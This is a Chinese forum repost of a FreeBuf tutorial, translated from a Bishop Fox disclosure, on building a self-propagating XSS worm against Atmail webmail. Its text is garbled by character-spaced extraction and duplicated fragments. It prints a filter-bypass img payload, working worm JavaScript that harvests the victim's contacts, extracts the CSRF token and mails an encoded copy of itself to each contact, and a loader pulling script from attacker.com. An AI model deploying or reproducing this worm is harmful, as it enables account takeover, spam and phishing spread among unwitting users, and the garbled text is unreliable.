搜索

[13514] 2018-12-09_手把手教你如何在Atmail上构建XSS蠕虫

文档创建者：s7ckTeam
浏览次数：33
最后更新：2025-01-18
2018-12-09_手把手教你如何在Atmail上构建XSS蠕虫 手 把 手 教 你 如 何 在 A t m a i l 上 构 建 X S S 蠕 虫 A l p h a _ h 4 c k   F r e e B u f   2 0 1 8 - 1 2 - 0 9 严 正 声 明 ： 本 文 仅 用 于 教 育 和 技 术 讨 论 目 的 ， 请 勿 用 于 非 法 用 途 。 严 正 声 明 ： 本 文 仅 用 于 教 育 和 技 术 讨 论 目 的 ， 请 勿 用 于 非 法 用 途 。 前 言 前 言 A t m a i l 是 一 个 热 门 的 云 服 务 以 及 电 子 邮 件 托 管 提 供 商 ， 目 前 有 很 多 公 司 、 主 机 服 务 商 和 是 一 个 热 门 的 云 服 务 以 及 电 子 邮 件 托 管 提 供 商 ， 目 前 有 很 多 公 司 、 主 机 服 务 商 和 I S P 都 在 使 用 都 在 使 用 A t m a i l ， 比 ， 比 如 说 如 说 D r e a m H o s t 、 、 L e g a l S h i e l d   ( 美 国 美 国 ) 、 、 m : t e l ( 波 斯 尼 亚 波 斯 尼 亚 ) 、 、 i i N e t 和 和 O p t u s   ( 澳 大 利 亚 澳 大 利 亚 ) 。 。 作 为 D r e a m H o s t 上 的 一 名 A t m a i l 用 户 ， 当 我 在 专 注 于 漏 洞 奖 励 项 目 的 过 程 中 ， 我 曾 见 过 几 次 令 我 印 象 深 刻 的 基 于 电 子 邮 件 的 跨 站 脚 本 （ X S S ） 攻 击 。 当 时 我 曾 尝 试 从 他 们 的 W e b 邮 件 客 户 端 中 寻 找 安 全 漏 洞 ， 几 个 小 时 后 我 便 开 发 出 了 一 个 可 用 的 P a y l o a d ， 但 是 我 想 更 进 一 步 ， 也 就 是 构 建 一 个 旧 式 的 X S S 蠕 虫 。 最 著 名 的 X S S 蠕 虫 就 是 2 0 0 5 年 感 染 M y S p a c e 的 蠕 虫 病 毒 了 ， 而 且 在 2 0 1 4 年 这 个 蠕 虫 的 最 新 变 种 还 成 功 感 染 了   T w e e t D e c k 。 在 这 篇 文 章 中 ， 我 将 会 给 大 家 演 示 如 何 构 建 一 个 可 以 通 过 目 标 用 户 联 系 人 来 进 行 自 我 传 播 的 X S S   P a y l o a d 。 测 试 环 境 测 试 环 境 在 开 始 之 前 ， 我 们 需 要 搭 建 一 个 简 单 的 测 试 环 境 。 我 们 可 以 通 过 下 列 命 令 来 发 送 电 子 邮 件 ， 然 后 在 邮 件 内 容 中 植 入 X S S 测 试 P a y l o a d ： 接 下 来 ， 使 用 F i r e f o x 的 开 发 者 工 具 来 查 看 X S S   P a y l o a d 在 W e b 邮 件 客 户 端 的 D O M 中 是 如 何 呈 现 的 。 c a t   c o n t e n t   |   m a i l   - a   " C o n t e n t - t y p e :   t e x t / h t m l "   - s   " t e s t "   v i c t i m 1 @ z j u l i a n . c o m
构 建 构 建 X S S   P a y l o a d 第 一 步 ， 就 是 要 构 建 一 个 能 够 绕 过 A t m a i l 内 容 过 滤 器 的 X S S   P a y l o a d 。 我 一 开 始 发 送 了 一 封 包 含 了 全 部 有 效 H T M L 标 签 的 邮 件 ， 然 后 看 看 它 是 否 能 够 成 功 送 达 ， 尽 管 我 只 打 算 使 用 标 签 。 不 过 ， 标 签 虽 然 非 常 适 合 构 建 X S S   P a y l o a d ， 但 是 在 X S S 触 发 之 前 ， 目 标 用 户 必 须 要 选 择 在 A t m a i l 中 显 示 图 像 才 行 。 因 此 我 们 得 使 用 那 些 不 需 要 用 户 交 互 便 可 以 呈 现 内 容 的 标 签 ， 这 样 才 能 提 升 P a y l o a d 的 质 量 。 接 下 来 ， 我 开 始 研 究 A t m a i l 是 如 何 清 除 P a y l o a d 的 。 A t m a i l 为 了 对 邮 件 内 容 进 行 过 滤 ， 并 在 用 户 浏 览 器 中 显 示 语 法 正 确 的 标 记 信 息 ， A t m a i l 会 对 标 签 中 的 字 符 和 H T M L 属 性 进 行 修 改 。 研 究 之 后 我 发 现 ， A t m a i l 只 接 受 s r c 、 a l t 、 l o n g d e s c 、 s t y l e 、 h e i g h t 和 w i d t h 这 几 个 属 性 ， 而 且 我 还 注 意 到 ， A t m a i l 会 将 单 引 号 转 换 为 双 引 号 ， 移 除 o n e r r o r 事 件 ， 并 且 移 除 所 有 不 包 含 s r c 属 性 的 标 签 。 虽 然 o n e r r o r 事 件 被 移 除 了 ， 但 是 如 果 能 够 在 标 签 中 同 时 使 用 单 引 号 和 双 引 号 的 话 ， 也 许 能 够 绕 过 A t m a i l 的 过 滤 机 制 。 显 然 ， 这 样 是 可 行 的 ： 下 面 就 是 呈 现 在 W e b 邮 件 客 户 端 中 的 内 容 ： 构 建 蠕 虫 构 建 蠕 虫 找 到 了 有 用 的 X S S 向 量 之 后 ， 下 一 步 就 是 创 建 一 个 P a y l o a d 来 传 播 我 的 电 子 邮 件 蠕 虫 。 我 编 写 了 一 份 J a v a S c r i p t 代 码 ， 然 后 完 成 了 下 列 三 件 事 ： 1 、   提 取 目 标 用 户 的 联 系 人 列 表 ； 2 、   从 A t m a i l 提 取 有 效 的 C S R F 令 牌 ； 3 、   向 目 标 用 户 联 系 人 列 表 中 的 每 一 位 用 户 发 送 恶 意 邮 件 ； 代 码 大 致 如 下 ， X S S   P a y l o a d 以 U R L 编 码 的 形 式 提 供 ： < i m g   l o n g d e s c = " s r c = ' x ' o n e r r o r = a l e r t ( d o c u m e n t . d o m a i n ) ; / / > < i m g   " s r c = ' s h o w m e ' > < i m g   l o n g d e s c = " > / / H T T P   r e q u e s t   t o   g r a b   v i c t i m ' s   c o n t a c t s x m l H t t p = n e w X M L H t t p R e q u e s t ( ) ; x m l H t t p . o p e n ( ' G E T ' , ' / i n d e x . p h p / m a i l / c o n t a c t s / v i e w c o n t a c t s / G r o u p I D / 0 ' , f a l s e ) ; x m l H t t p . s e n d ( n u l l ) ; r e s p o n s e = x m l H t t p . r e s p o n s e T e x t ;   / / E x t r a c t   e m a i l   a d d r e s s e s   a n d   f i l t e r   d u p l i c a t e s v a r   e x t r a c t e d e m a i l s   =   r e s p o n s e . m a t c h ( / [ A - Z 0 - 9 . _ % + - ] + @ [ A - Z 0 - 9 . - ] + . [ A - Z ] { 2 , 4 } / i g m ) ; v a r   u n i q u e e m a i l s   =   [ ] ;   f o r ( v a r i   =   0 ;   i   <   e x t r a c t e d e m a i l s . l e n g t h ;   i + + ) { i f ( u n i q u e e m a i l s . i n d e x O f ( e x t r a c t e d e m a i l s [ i ] )   = =   - 1 ) u n i q u e e m a i l s . p u s h ( e x t r a c t e d e m a i l s [ i ] ) ; }   / / H T T P   r e q u e s t   t o   g e t   C S R F   t o k e n x m l H t t p . o p e n ( ' G E T ' , ' / i n d e x . p h p / m a i l / c o n t a c t s ' , f a l s e ) ; x m l H t t p . s e n d ( n u l l ) ; r e s p o n s e 2 = x m l H t t p . r e s p o n s e T e x t ; v a r   c s r f t o k e n   =   r e s p o n s e 2 . m a t c h ( / n a m e = " a t m a i l C S R F " v a l u e = " ( . + ? ) " / i m ) ;   / / L o o p   t h r o u g h   c o n t a c t s   a n d   s e n d   e m a i l f o r ( v a r   i   =   0 ;   i   <   u n i q u e e m a i l s . l e n g t h ;   i + + )   {               x m l H t t p . o p e n ( ' P O S T ' , ' / i n d e x . p h p / m a i l / c o m p o s e m e s s a g e / s e n d ' , f a l s e ) ;               v a r   p a r a m s   =   ' a t m a i l C S R F = '   +   c s r f t o k e n [ 1 ] +   ' & e m a i l T o = '   +   u n i q u e [ i ]   + ' & e m a i l S u b j e c t = o p e n % 2 0 m e & e m a i l B o d y H t m l = % 3 c % 6 8 % 3 3 % 3 e % 6 1 % 7 4 % 6 d % 6 1 % 6 9 % 6 c % 2 0 % 6 5 % 6 d % 6 1 % 6 9 % 6 c % 2 0 % 5 8 % 5 3 % 5 3 % 2 0 % 7 7 % 6 f % 7 2 % 6 d % 3 c % 2 f % 6 8 % 3 3 % 3 e % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 2 0 % 0 a % 3 c % 6 9 % 6 d % 6 7 % 2 0 % 6 c % 6 f % 6 e % 6 7 % 6 4 % 6 5 % 7 3 % 6 3 % 3 d % 2 2 % 7 3 % 7 2 % 6 3 % 3 d % 2 7 % 7 8 % 2 7 % 6 f % 6 e % 6 5 % 7 2 % 7 2 % 6 f % 7 2 % 3 d % 6 5 % 7 6 % 6 1 % 6 c % 2 8 % 7 7 % 6 9 % 6 e % 6 4 % 6 f % 7 7 % 2 e % 6 1 % 7 4 % 6 f % 6 2 % 2 8 % 2 7 % 6 1 % 5 7 % 3 5 % 6 a % 6 2 % 4 8 % 5 6 % 6 b % 5 a % 5 4 % 3 1 % 6 b % 6 2 % 3 2 % 4 e % 3 1 % 6 2 % 5 7 % 5 6 % 7 5 % 6 4 % 4 3 % 3 5 % 6 a % 6 3 % 6 d % 5 6 % 6 8 % 6 4 % 4 7 % 5 6 % 4 6 % 6 2 % 4 7 % 5 6 % 7 4 % 5 a % 5 7 % 3 5 % 3 0 % 4 b % 4 3 % 6 4 % 7 a % 5 9 % 3 3 % 4 a % 7 0 % 6 3 % 4 8 % 5 1 % 6 e % 4 b % 5 4 % 7 4 % 7 0 % 6 2 % 6 d % 4 e % 7 3 % 6 4 % 5 7 % 5 2 % 6 c % 4 c % 6 e % 4 e % 7 9 % 5 9 % 7 a % 3 0 % 6 e % 6 1 % 4 8 % 5 2 % 3 0 % 6 3 % 4 8 % 4 d % 3 6 % 4 c % 7 9 % 3 9 % 6 8 % 6 4 % 4 8 % 5 2 % 6 8 % 5 9 % 3 2 % 7 4 % 6 c % 6 3 % 6 9 % 3 5 % 6 a % 6 2 % 3 2 % 3 0 % 7 6 % 5 9 % 5 8 % 5 2 % 7 4 % 5 9 % 5 7 % 6 c % 7 3 % 4 c % 6 d % 7 0 % 7 a % 4 a % 7 a % 7 4 % 6 b % 6 2 % 3 2 % 4 e % 3 1 % 6 2 % 5 7 % 5 6 % 7 5 % 6 4 % 4 3 % 3 5 % 6 f % 5 a % 5 7 % 4 6 % 6 b % 4 c % 6 d % 4 6 % 7 7 % 6 3 % 4 7 % 5 6 % 7 5 % 5 a % 4 5 % 4 e % 6 f % 6 1 % 5 7 % 7 8 % 6 b % 4 b % 4 7 % 6 c % 7 5 % 5 9 % 3 2 % 7 8 % 3 1 % 5 a % 4 7 % 5 5 % 7 0 % 4 f % 7 7 % 3 d % 3 d % 2 7 % 2 9 % 2 9 % 3 b % 2 f % 2 f % 3 e % 3 c % 6 9 % 6 d % 6 7 % 2 0 % 2 2 % 2 0 % 7 3 % 7 2 % 6 3 % 3 d % 2 7 % 7 3 % 6 8 % 6 f % 7 7 % 6 d % 6 5 % 2 7 % 3 e ' ;               x m l H t t p . s e t R e q u e s t H e a d e r ( ' C o n t e n t - t y p e ' , ' a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d ' ) ;               x m l H t t p . s e n d ( p a r a m s ) ;
首 先 ， 我 尝 试 过 B a s e 6 4 编 码 ， 然 后 把 X S S   P a y l o a d 嵌 入 到 了 o n e r r o r 事 件 中 。 接 下 来 ， 代 码 会 使 用 e v a l ( a t o b ( ) ) 来 解 码 并 执 行 P a y l o a d 代 码 ： 但 是 ， 我 发 现 A t m a i l 会 将 我 B a s e 6 4 编 码 的 字 符 串 压 缩 到 9 4 5 个 字 符 ， 这 就 太 短 了 。 所 以 我 打 算 把 它 托 管 到 一 个 外 部 地 址 ， 然 后 重 写 我 的 X S S   P a y l o a d ： 上 面 这 段 P a y l o a d 代 码 会 在 页 面 元 素 中 创 建 一 个 新 的 < s c r i p t > 标 签 ， 标 签 中 将 包 含 我 外 部 托 管 的 恶 意 J a v a S c r i p t 代 码 。 它 也 采 用 了 B a s e 6 4 编 码 ： 下 面 的 视 频 演 示 了 蠕 虫 的 工 作 机 制 ： 下 面 的 视 频 演 示 了 蠕 虫 的 工 作 机 制 ： 总 结 总 结 对 于 网 络 诈 骗 分 子 和 其 他 恶 意 攻 击 者 来 说 ， A t m a i l 上 的 X S S 蠕 虫 是 非 常 有 用 的 ， 因 为 他 们 可 以 利 用 这 种 技 术 来 控 制 目 标 用 户 的 账 号 ， 并 给 他 们 通 讯 录 里 的 联 系 人 发 送 任 意 信 息 ， 因 此 这 种 攻 击 技 术 正 好 适 用 于 垃 圾 邮 件 、 恶 意 软 件 传 播 以 及 钓 鱼 攻 击 。 参 考 资 料 参 考 资 料 h t t p s : / / w w w . b i s h o p f o x . c o m / n e w s / 2 0 1 7 / 0 6 / a t m a i l - 7 - s t o r e d - x s s - v u l n e r a b i l i t y / 参 考 代 码 参 考 代 码 * 参 考 来 源 ： 参 考 来 源 ： b i s h o p f o x ， ， F B 小 编 小 编 A l p h a _ h 4 c k 编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M < i m g   l o n g d e s c = "   x s s / s r c = ' x ' o n e r r o r = e v a l ( w i n d o w . a t o b ( ' e G g 9 b m V 3 I F h N T E h 0 d H B S … o m i t t e d   f o r b r e v i t y … ' ) ) ; / / > < i m g   "   s r c = ' s h o w m e ' > o n e r r o r = " i n c l u d e = d o c u m e n t . c r e a t e E l e m e n t ( ' s c r i p t ' ) ; i n c l u d e . s r c = ' h t t p s : / / a t t a c k e r . c o m / a t m a i l . j s ' ; d o c u m e n t . h e a d . a p p e n d C h i l d ( i n c l u d e ) ; " o n e r r o r = " i n c l u d e = d o c u m e n t . c r e a t e E l e m e n t ( ' s c r i p t ' ) ; i n c l u d e . s r c = ' h t t p s : / / a t t a c k e r . c o m / a t m a i l . j s ' ; d o c u m e n t . h e a d . a p p e n d C h i l d ( i n c l u d e ) ; " < i m g   >
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理